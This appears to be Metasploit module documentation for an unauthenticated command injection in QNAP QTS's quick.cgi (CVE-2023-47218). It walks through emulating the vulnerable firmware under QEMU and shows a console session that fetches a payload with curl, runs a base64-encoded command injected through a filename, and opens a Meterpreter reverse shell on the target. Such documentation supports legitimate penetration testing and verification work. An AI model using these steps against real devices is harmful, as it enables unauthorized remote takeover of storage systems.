## Vulnerable Application

### Description
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.

The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
initialized, the quick.cgi component is disabled on the system.

An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
injection, allowing the attacker to execute arbitrary commands on the device.

### Setup
Vulnerable firmware can be downloaded from:
[TS-X64_20230926-5.1.2.2533.zip](https://download.qnap.com/Storage/TS-X64/TS-X64_20230926-5.1.2.2533.zip)
In order to decrypt the firmware use the following script:
[qnap-qts-fw-cryptor.py](https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741)

Unzip the archive:
```
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip 
Archive:  TS-X64_20230926-5.1.2.2533.zip
  inflating: TS-X64_20230926-5.1.2.2533.img  
```

Decrypt the firmware:
```
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py  TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.tgz  TS-X64_20230926-5.1.2.2533.zip
```

Recreate the root file system:
```
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
```

To run the Firmware first copy the qemu-x86_64-static binary into the root file system folder:
```
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
```

Run _thttpd_ via QEMU:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ 
sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080  -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
```

Verify the HTTP server is running:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1195417/./qemu-x86_ 
```

At the time of writing `/dev/random` and `/dev/urandom` are required to be present in the environment in order to work
around the following issue: https://github.com/rapid7/mettle/issues/255.
Ensure the binaries exist on your system:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/random
/dev/random
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/urandom
/dev/urandom
```

Create files the files:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/random
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/urandom
```

Mount the binaries:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind  /dev/random  dev/random
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind  /dev/urandom  dev/urandom
```

Drop to a shell via QEMU:
```
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
```

Enable the component quick.cgi:
```
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
```

Fix a linker issue with QEMU:
```
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
```

Create this folder as it will be present in a NAS device containing a hard drive:
```
sh-3.2# mkdir /mnt/HDA_ROOT
```

## Verification Steps

1. Start msfconsole
1. Do: `use linux/http/qnap_qts_rce_cve_2023_47218`
1. Set the following options: `RHOST`, `RPORT`, `LHOST` and `FETCH_SRVPORT` if 8080 is already in use.
1. Run the module
1. Receive a Meterpreter session as the `admin` user.

## Scenarios
### TS-X64_20230926-5.1.2.2533 firmware emulated via qemu using the steps above.
```
msf > use linux/http/qnap_qts_rce_cve_2023_47218
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080
rport => 8080
msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130
rhost => 172.16.199.130
msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158
lhost => 172.16.199.158
msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085
fetch_srvport => 8085
msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options

Module options (exploit/linux/http/qnap_qts_rce_cve_2023_47218):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.16.199.130   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasp
                                       loit/basics/using-metasploit.html
   RPORT    8080             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
                                                  , WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      mvcWDkBxSOK      no        Name to use on remote system when storing payload; cannot
                                                  contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8085             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /mnt/update      yes       Remote writable dir to store payload; cannot contain space
                                                  s.
   LHOST               172.16.199.158   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (3045380 bytes) to 172.16.199.130
[+] Deleted /mnt/update/RjzvVkLp
[+] Deleted /mnt/update/"$($(echo -n YmFzaCAvbW50L3VwZGF0ZS9Sanp2VmtMcA==|base64 -d))"
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.16.199.130:40004) at 2024-02-15 12:20:04 -0900

meterpreter > getuid
Server username: admin
meterpreter > sysinfo
Computer     : 172.16.199.130
OS           :  (Linux 6.2.0-35-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
